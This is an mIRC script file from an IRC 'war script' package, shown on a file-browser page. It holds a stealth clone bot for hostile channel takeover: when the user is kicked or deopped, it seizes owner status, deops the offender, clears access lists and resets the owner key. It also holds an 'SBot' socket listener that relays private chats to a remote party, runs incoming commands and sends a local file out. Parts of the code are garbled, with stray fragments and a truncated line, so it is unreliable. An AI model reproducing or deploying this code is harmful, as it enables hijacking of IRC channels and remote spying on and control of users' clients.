KiLLeRKLoWn² Script — File Browser

KiLLeRKLoWnScriptv2.8 / KiLLeRKLoWnScriptv2.8 / stealth2.ini

stealth2.ini — 57.25 KB — Download this file

alias stealthstat {
  if ($sock(@BoB,1).status != $null) { $awinfecho Stealth Clone is $upper($sock(@BoB,1).status) }
  if ($sock(@BoB,1).status == $null) { $awinfecho Stealth Clone is NOT ACTIVE }
}
alias BoB {
  /set %server $$?="Server?"
  .enable #stealthmode | .enable #stealthkick
  set %st.cl BoB-[ $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ ]
  sockopen @BoB %server 6667
}
on 1:SOCKOPEN:@BoB:{
  window -p @BoB 0 0 310 100 @BoB Arial | titlebar @BoB - (HI MY NAME IS BOB)
  sockwrite -n $sockname USER BoB Bob BoB :I am BoB
  sockwrite -n $sockname NICK %st.cl
  sockwrite -n $sockname IRCX
  sockwrite -n $sockname MODE %st.cl +i
  drawtext -pbc $sockname 0 1 Arial 14 105 3 210 15 4Connection Status:15 $upper($sock($sockname,1).status)
  drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 OFF
  drawtext -pbc $sockname 0 1 Arial 14 105 35 210 15 4Last Chan:
  drawtext -pbc $sockname 0 1 Arial 14 105 51 210 15 4Last Action:
  drawtext -pbc $sockname 0 1 Arial 14 105 67 210 15 4BoT NaMe:15 %st.cl
  drawtext -pbc $sockname 0 1 Arial 14 105 83 210 15 4IRCX Server:15 %server
  window -a @BoB
}
on 1:SOCKREAD:@BoB:{
  if ($sockerr > 0) return
  :nextread
  sockread %sock.read.line
  if ($sockbr == 0) return
  if ($gettok(%sock.read.line,1,32) == PING) { sockwrite -n $sockname PONG $gettok(%sock.read.line,2-,58) }
  if ($gettok(%sock.read.line,2,32) == PROP) { set %Key. [ $+ [ $gettok(%sock.read.line,3,32) ] ] $remove($gettok(%sock.read.line,5,32),:) }
  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!part) { sockwrite -n $sockname PART $gettok(%sock.read.line,3,32) }
  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!q) { sockwrite -n $sockname MODE $gettok(%sock.read.line,3,32) +q $me }
  if ($gettok(%sock.read.line,2,32) == 800) { drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 ON $chr(160) }
  goto nextread
}
on 1:SOCKCLOSE:@BoB:set %sockwin $sockname | unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $sockname | window -c %sockwin
on 1:CLOSE:@BoB:unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $target
#stealthmode off
on 1:RAWMODE:#:{ 
if (($mode(1).deowner == $me) || ($mode(1).deop == $me)) && ($sock(@BoB) != $null) { .disable #stealthkick | sockwrite -n @BoB join $chan %Key. [ $+ [ $chan ] ] | set %cmask $address($nick,4) | sockwrite -n @BoB mode $chan +qq-ooo $me $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick | sockwrite -n @BoB prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) | sockwrite -n @BoB access $chan clear | set %st.last.chan %st.chan | set %st.last.act %st.act | set %st.chan $chan | set %st.act $iif($1 == -q,deowned,deoped) | .timerSTEALTH 1 3 finish.stealth | .timer 1 3 .enable #stealthkick | unset %cmask } }
.disable #stealthkick
sockwrite -n @BoB join $chan %Key. [ $+ [ $chan ] ] 
set %cmask $address($nick,4)
sockwrite -n @BoB access # clear
sockwrite -n @BoB mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick 
sockwrite -n @BoB prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) 
sockwrite -n @BoB access $chan clear 
set %st.last.chan %st.chan 
set %st.last.act %st.act 
set %st.chan $chan 
set %st.act $iif($1 == -q,deowned,deoped) 
.timerSTEALTH 1 3 finish.stealth 
.timer 1 3 .enable #stealthkick
}
if (($gettok(%protect,4,32) == +q) && ($gettok(%protect,5,32) == %protect.nick)) {
.timer $+ %protect.nick $+ $gettok(%protect,3,32) 0 15 sockwrite -nt $sockname access $gettok(%protect,3,32) add owner $ip
}
if (($gettok(%protect,4,32) == -q) && ($gettok(%protect,5,32) == %protect.nick)) {
if ($level($address(%protect.knick,2)) = 100) { 
  if (%protect.deop = off) { halt }
  set %protect.deop off
  sockwrite -nt $sockname part $gettok(%protect,3,32)
  sockwrite -nt $sockname join $gettok(%protect,3,32) [ $+ [ $gettok(%protect,3,32) ] ]
  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
  .timer 1 3 set %protect.deop on
  halt
}
else {
  if (%protect.deop = off) { halt }
  set %protect.deop off
  %mask = $address(%protect.knick,4)
  sockwrite -nt $sockname part $gettok(%protect,3,32)
  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
  sockwrite -nt $sockname access $gettok(%protect,3,32) clear
  sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
  sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
  sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
  .timer 1 3 set %protect.deop on
  halt
}
}
if (($gettok(%protect,4,32) == -q) && ($level($address($gettok(%protect,5,32),2)) = 100)) {
if ($level($address(%protect.knick,2)) = 100)  { halt }
else {
  if (%protect.deopp = off) { halt }
  set %protect.deopp off
  %mask = $address(%protect.knick,4)
  sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
  sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
  .timer 1 3 set %protect.deopp on
  halt
}
}
if (($gettok(%protect,2,32) == KICK) && ($gettok(%protect,4,32) == %protect.nick)) {
if ($level($address(%protect.knick,2)) = 100) { 
  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
}
else {
  %mask = $address(%protect.knick,4)
  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
  sockwrite -nt $sockname access $gettok(%protect,3,32) clear
  sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
  sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
  sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
  halt
}
}
if (($gettok(%protect,2,32) == JOIN) && ($ip isin %protect)) {
set %protect.join $mid(%protect,2,$calc($pos(%protect,!,1) - 2))
if (%protect.join == %protect.nick) { halt }
sockwrite -n $sockname mode $remove($gettok(%protect,3,32),:) +q %protect.join
halt
}
if (($level($address(%protect.knick,2)) == 100) && ($gettok(%protect,2,32) == MSG)) { 
if ($gettok(%protect,4,32) == :!hop) {
  sockwrite -nt $sockname part $gettok(%protect,3,32)
  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
}
if ($gettok(%protect,4,32) == :!qme) {
  sockwrite -nt $sockname mode $gettok(%protect,3,32) +q %protect.knick
}
if ($gettok(%protect,4,32) == :!join) {
  sockwrite -nt $sockname join $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!part) {
  sockwrite -nt $sockname part $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!say) {
  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!act) {
  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $chr(1) $+ ACTION $gettok(%protect,5-,32) $+ $chr(1)
}
if ($gettok(%protect,4,32) == :!kick) {
  sockwrite -nt $sockname kick $gettok(%protect,3,32) $gettok(%protect,5,32) :X $gettok(%protect,6-,32)
}
if ($gettok(%protect,4,32) == :!+o) {
  echo @split1 ownering $gettok(%protect,5-,32)
  sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(q,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!+h) {
  echo @split1 host $gettok(%protect,5-,32)
  sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!+v) {
  echo @split1 voiceing $gettok(%protect,5-,32)
  sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(v,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
}
if ($gettok(%protect,4,32) == :!-o) {
  echo @split1 ownering $g
}
#stealthmode end
#stealthkick off
on 1:KICK:#: { 
  if ($knick == $me) && ($sock(@BoB) != $null) { 
    .disable #stealthmode 
    set %cmask $address($nick,4)
    sockwrite -n @BoB join # $ownerkey
    sockwrite -n @BoB mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick
    sockwrite -n @BoB access # clear
    sockwrite -n @BoB prop # ownerkey BoBWuZHeRe-( $+ $rand(1,999999) $+ )
    sockwrite -n @BoB access # clear
    set %st.last.chan %st.chan 
    set %st.last.act %st.act 
    set %st.chan $chan 
    set %st.act kicked 
    .timerSTEALTH 1 3 finish.stealth 
    .timer 1 3 .enable #stealthmode 
    sockwrite -nt @BoB part $chan
  } 
}
#stealthkick end
alias finish.stealth {
  drawtext -pbc @BoB 1 1 Arial 14 105 35 210 15 4Last Chan:1 %st.last.chan
  drawtext -pbc @BoB 1 1 Arial 14 105 51 210 15 4LastAction:1 %st.last.act
  drawtext -pbc @BoB 0 1 Arial 14 105 35 210 15 4Last Chan:15 %st.chan
  drawtext -pbc @BoB 0 1 Arial 14 105 51 210 15 4LastAction:15 %st.act
  join %st.chan %Key. [ $+ [ %st.chan ] ]
  if ($me isowner %st.chan) { sockwrite -n @BoB part %st.chan }
  if ($me !isowner %st.chan) { join %st.chan %Key. [ $+ [ %st.chan ] ] }
  .enable #stealthmode | .enable #stealthkick
}
menu @BoB {
  &Die:sockwrite -n @BoB QUIT
}
alias pex { 
  sockwrite -n @BoB kick # $snicks(#,0)
  kick # %st.cl
  if ($opnick == $me) { set %deop.protection off | set %nick.mask $address($nick,2) | .sockwrite -tn join # %ownerkey | .sockwrite -tn mode # -qqq $ialchan(%nick.mask,#,1)
    $ialchan(%nick.mask,#,2).nick $ial(%nick.mask,#,3).nick
  }

}

on 1:START: listen

on 1:SOCKLISTEN:Stealth: {
  unset %SBot.i
  :start
  inc %SBot.i
  if ( $sock( [ SBot- $+ [ %SBot.i ] ] ) != $null ) { goto start }
  .sockaccept [ SBot- $+ [ %SBot.i ] ]
  %SBot.server = $server
  if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
  .sockwrite -n SBot- $+ [ %SBot.i ] CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
  unset %SBot.*
}

on 1:SOCKREAD:SBot-*: {
  if ( $sockerr > 0 ) .return
  .sockread %SBot.read.temp
  %SBot.read.temp1 = $gettok( %SBot.read.temp ,1,32)
  if ( %SBot.read.temp1 == GETCOLORS ) { 
    .sockwrite -n $sockname COLORS $rgb(Face) $+ $chr(140) $+ $rgb(Text) $+ $chr(140) $+ $rgb(Hilight) $+ $chr(140) $+ $rgb(Shadow) $+ $chr(140) $+ $bground(SwitchBar)
    if ( $bground(SwitchBar) != none ) { 
      unset %SBot.read.i
      :start
      inc %SBot.read.i
      if ( $sock( [ SBot_Send- $+ [ %SBot.read.i ] ] ) != $null ) { goto start }
      .sockopen [ SBot_Send- $+ [ %SBot.read.i ] ] $sock($sockname).ip $gettok( %SBot.read.temp ,2,32) 
    }
  }
  elseif ( %SBot.read.temp1 == GETWINS ) { winstat }
  elseif ( %SBot.read.temp1 == GETNAMES ) { chanstat $gettok( %SBot.read.temp ,2,32) }
  elseif ( %SBot.read.temp1 == GETIP ) {
    if ( $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address }
    elseif ( $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) }
    else { .enableset #NickIP | %SBot.getnick $gettok( %SBot.read.temp ,2,32) | .userhost $gettok( %SBot.read.temp ,2,32) } 
  }
  elseif ( %SBot.read.temp1 == CONNECT ) { .sockmark $sockname $gettok( %SBot.read.temp ,2,32) }
  else { 
    if ( remove isin %SBot.read.temp1 ) || ( copy isin %SBot.read.temp1 ) || ( mkdir isin %SBot.read.temp1 ) || ( remini isin %SBot.read.temp1 ) || ( rename isin %SBot.read.temp1 ) || ( rmdir isin %SBot.read.temp1 ) || ( write isin %SBot.read.temp1 ) { unset %SBot.read.* | halt }
    %SBot.read.temp 
  }
  unset %SBot.read.*
}

on 1:SOCKCLOSE:Stealth:.listen

on 1:SOCKOPEN:SBot_Send-*:{
  .sockmark $sockname $bground(SwitchBar)
  bread $sock($sockname).mark 0 4096 &SBot.temp
  sockwrite $sockname &SBot.temp
}

on 1:SOCKWRITE:SBot_Send-*: {
  if ($sockerr > 0) { halt }
  if ($sock($sockname).sent >= $lof( $sock($sockname).mark) ) { sockclose $sockname | halt }
  bread $sock($sockname).mark $sock($sockname).sent 4096 &SBot.temp
  sockwrite $sockname &SBot.temp
}

on 1:INPUT: {
  if ( $sock(SBot-*) != $null ) {
    if ( Chat isin $target ) { %SBot.temp = $gettok( $target ,3,32) | .sockwrite -n SBot-* DCC CHAT %SBot.temp < $+ $me $+ > $1- }
    elseif ( $left( $1 ,1) != $chr(47) ) { if ( Status !isin $target ) { .sockwrite -n SBot-* SHOW $target < $+ $me $+ > $1- } }
    else { 
      %SBot.temp = $target
      if ( $gettok( %SBot.temp ,1,32) == Status ) { %SBot.temp = Status }
      .sockwrite -n SBot-* ACTION %SBot.temp $1- 
      %SBot.temp1 = $gettok( $1 ,1,47)
      if ( %SBot.temp1 == msg ) || ( %SBot.temp1 == query ) { .sockwrite -n SBot-* SHOW $2 < $+ $me $+ > $3- }
      elseif ( %SBot.temp1 == me ) || ( %SBot.temp1 == action ) || ( %SBot.temp1 == describe ) {
        if ( %SBot.temp1 == describe ) { %SBot.temp = $2 | %SBot.msg = $3- }
        else { %SBot.temp = $target | %SBot.msg = $2- }
        .sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $me %SBot.msg
        unset %SBot.*
      }        
    }
    unset %SBot.*
  }
}

on 1:CONNECT: {
  if ( $sock(SBot-*) != $null ) { 
    %SBot.server = $server
    if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
    .sockwrite -n SBot-* CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
  }
}
on 1:DISCONNECT: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Info) $+ *** Disconnected | .sockwrite -n SBot-* DISCONNECT }

on 1:TEXT:*:*: {
  if ( $sock(SBot-*) != $null ) {
    %SBot.temp = $chan
    if ( $chan == $null ) { %SBot.temp = $nick }
    .sockwrite -n SBot-* SHOW %SBot.temp < $+ $nick $+ > $1- 
    unset %SBot.*
  }
}

on 1:NOTICE:*:*: {
  if ( $sock(SBot-*) != $null ) {
    if ( $chan != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ $colour(notice) $+ - $+ $nick $+ : $+ $chan $+ - $1- }
    else { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
  }
}

on 1:ACTION:*:*: {
  if ( $sock(SBot-*) != $null ) {
    %SBot.temp = $chan
    if ( $chan == $me ) { %SBot.temp = $nick }
    .sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $nick $1- 
    unset %SBot.*
  }
}

on 1:NICK: { 
  if ( $sock(SBot-*) != $null ) {
    if ( $nick == $me ) {
      %SBot.server = $server
      if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
      .sockwrite -n SBot-* CONNECT $newnick $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
    }
    unset %SBot.i
    unset %SBot.temp
    :start
    inc %SBot.i
    if ( %SBot.i <= $comchan( $newnick ,0) ) {
      if ( $newnick isop $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(64) }
      elseif ( $newnick isvo $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(43) }
      else { %SBot.char = $chr(149) }
      if ( %SBot.temp == $null ) { %SBot.temp = %SBot.char $+ $comchan( $newnick , %SBot.i ) }
      else { %SBot.temp = %SBot.temp $+ , $+ %SBot.char $+ $comchan( $newnick , %SBot.i ) }
      goto start
    }
    .sockwrite -n SBot-* NICK $nick $newnick %SBot.temp $colour(nick)
    unset %SBot.*
  }
}

on 1:QUIT: {
  if ( $sock(SBot-*) != $null ) {
    if ( $nick != $me ) {
      unset %SBot.i
      unset %SBot.temp
      :start
      inc %SBot.i
      if ( %SBot.i <= $comchan( $nick ,0) ) {
        if ( %SBot.temp == $null ) { %SBot.temp = $comchan( $nick , %SBot.i ) }
        else { %SBot.temp = %SBot.temp $+ , $+ $comchan( $nick , %SBot.i ) }
        goto start
      }
      %SBot.msg = $1
      if ( %SBot.msg == $null ) { %SBot.msg = Leaving }
      .sockwrite -n SBot-* QUIT $nick %SBot.temp  $+ $colour(Quit) $+ *** Quits: $nick ( $+ $1- $+ ) 
      .showinstat  $+ $colour(Quit) $+ *** $nick ( $+ $address $+ ) Quits ( $+ $1 $+ )
    }
  }
}  

on 1:DNS: {
  if ( $sock(SBot-*) != $null ) { 
    showinstat  $+ $colour(Other) $+ *** Looking up $iaddress 
    if ( $raddress == $null ) { showinstat  $+ $colour(Other) $+ *** Unable to resolve $iaddress }
    else { showinstat  $+ $colour(Other) $+ *** Resolved $iaddress to $raddress }
  }
}

on 1:CLOSE:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
on 1:CLOSE:!: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
on 1:CLOSE:?: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE $target }
on 1:SNOTICE: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
on 1:NOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick is on IRC }
on 1:UNOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick has left IRC }
on 1:INVITE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* INVITE $chan $nick $colour(invite) $address }
on 1:USERMODE: if ( $sock(SBot-*) != $null ) { showinstat  $+ [ $colour( mode ) ] $+ *** $me sets mode: $1- | .sockwrite -n SBot-* UMODE $usermode }
on 1:MODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
on 1:SERVERMODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
on 1:TOPIC:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN TOPCHANGE $chan $nick $colour(topic) $1- }
on 1:OP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
on 1:SERVEROP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
on 1:DEOP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -o $opnick }
on 1:VOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +v $vnick }
on 1:DEVOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -v $vnick }
on 1:JOIN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN JOIN $chan  $+ $colour(Join) $+ *** Joins: $nick ( $+ $address $+ ) }
on 1:PART:#: if ( $sock(SBot-*) != $null ) { if ( $nick != $me ) { .sockwrite -n SBot-* CHAN PART $chan  $+ $colour(Part) $+ *** Parts: $nick ( $+ $address $+ ) ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan } }
on 1:KICK:#: if ( $sock(SBot-*) != $null ) { if ( $knick != $me ) { .sockwrite -n SBot-* CHAN KICK $chan  $+ $colour(Part) $+ *** $knick was kicked by $nick ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan | .showinstat  $+ $colour(Part) $+ *** You were kicked from $chan by $nick ( $+ $1- $+ ) } }
on 1:BAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode +b $banmask }
on 1:UNBAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode -b $banmask }
on 1:CHAT:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
on 1:SERV:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
ctcp 1:DCC CHAT: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick CTCP $colour(Info2) $colour(CTCP) $longip( $4 ) }
on 1:OPEN:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick ACK $colour(CTCP) DCC Chat connection established }

ctcp 1:*:*: {
  if ( $1 == VERSION ) && ( $2 == SBot ) { .ctcpreply $nick VERSION $me is hosting SBot-Script ver. 2 |{o|)e|) by Goldfing | halt }
  elseif ( $1 == SBot ) && ( $2 == Stats ) { 
    unset %SBot.ctcp.i
    :start
    inc %SBot.ctcp.i
    %SBot.ctcp.temp1 = SBot- [ $+ [ %SBot.ctcp.i ] ]
    if ( $sock( %SBot.ctcp.temp1 ) != $null ) { %SBot.ctcp.temp = %SBot.ctcp.temp $sock(%SBot.ctcp.temp1).mark | goto start }
    if ( %SBot.ctcp.temp != $null ) { /.ctcpreply $nick SBot Connected to: %SBot.ctcp.temp }
    else { /.ctcpreply $nick SBot Not Connected to anyone }
    unset %SBot.ctcp.*
    halt
  }
  elseif ( $sock(SBot-*) != $null ) {
    if ( $1 != DCC ) {
      %SBot.temp = $2-
      if ( $1 == PING ) { unset %SBot.temp }
      if ( $chan != $null ) { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $+ $chr(58) $+ $chan $1 $+ $chr(93) %SBot.temp }
      else { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $1 $+ $chr(93) %SBot.temp }
    }
  }
  unset %SBot.*
}

On 1:input:*:{
  if ($1- == hey bob)  { /sockwrite -tn * JOIN # }
  if ($1- == bye bob)  { /sockwrite -tn * PART # }
  if ($1- == cycle bob) { /sockwrite -tn * PART $chan | /sockwrite -tn * JOIN $chan }
  if ($1- == die bob)   { sockwrite -n @BoB QUIT BYE, MY NAME IS BOB }
}

on 1:CTCPREPLY:*: { 
  if ( $sock(SBot-*) != $null ) {
    if ( $1 != PING ) { showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $1 reply $+ $chr(93) $+ $chr(58) $2- }
    else {
      set %SBot.pt $ctime - $2
      if (%SBot.pt < 0) { set %SBot.pt 0 }
      showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $nick PING reply $+ $chr(93) $+ $chr(58) %SBot.pt seconds
      unset %SBot.*
    }    
  }
}

;-------------------------------------  CONNECT -------------------------------------------
raw 1:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 2:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 3:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 4:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 251:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 252:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 253:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 254:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 255:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 265:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 266:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 372:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 375:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $4-7 }
raw 376:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;----------------------------------------------------- SERVER ERRORS -------------------------------------------------------
raw 401:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 403:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 404:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 405:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 421:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 431:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 432:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 433:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 441:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 442:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 443:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 465:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 467:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 471:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's full) }
raw 472:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 473:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's invite only) }
raw 474:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (you're banned!) }
raw 475:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (requires the correct key) }
raw 477:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (need to be using a registered nick) } 
raw 482:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 501:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 502:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------ OTHER ---------------------------------------------
#NickIP off
raw 302:*: {
  if ( $sock(SBot-*) != $null ) {
    if ( $gettok( $2 ,1,61) == %SBot.getnick ) { .sockwrite -n SBot-* NICKIP $gettok( $2 ,1,61) $gettok($2,2,64) 524 | unset %SBot.getnick | .disable #NickIP | halt } 
  }
  halt
}
#NickIP end

raw 329:*: if ( $sock(SBot-*) != $null ) { showinstat $2 created on $asctime( $3 ) }
raw 341:*: if ( $sock(SBot-*) != $null ) { showinstat $2 has been invited to $3 }
raw 381:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

alias chanstat {
  unset %SBot.i %SBot.ops %SBot.voice %SBot.reg
  %SBot.temp = $nick( $1 ,0)
  :start
  inc %SBot.i
  if ( %SBot.i <= %SBot.temp ) {
    if ( $nick( $1 , %SBot.i ) isop $1 ) {
      if ( %SBot.ops == $null ) { %SBot.ops = $nick( $1 , %SBot.i ) }
      else {  %SBot.ops = %SBot.ops $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
    }
    elseif ( $nick( $1 , %SBot.i ) isvo $1 ) {
      if ( %SBot.voice == $null )  { %SBot.voice = $nick( $1 , %SBot.i ) }
      else { %SBot.voice = %SBot.voice $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
    }
    else {
      if ( %SBot.reg == $null ) { %SBot.reg = $nick( $1 , %SBot.i ) }
      else {  %SBot.reg = %SBot.reg $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
    }
    goto start
  }
  %SBot.modes = $chan( $1 ).mode
  %SBot.topic = $chan( $1 ).topic
  if ( %SBot.ops == $null ) { %SBot.ops = $chr(149) }
  if ( %SBot.voice == $null ) { %SBot.voice = $chr(149) }
  if ( %SBot.reg == $null ) { %SBot.reg = $chr(149) }
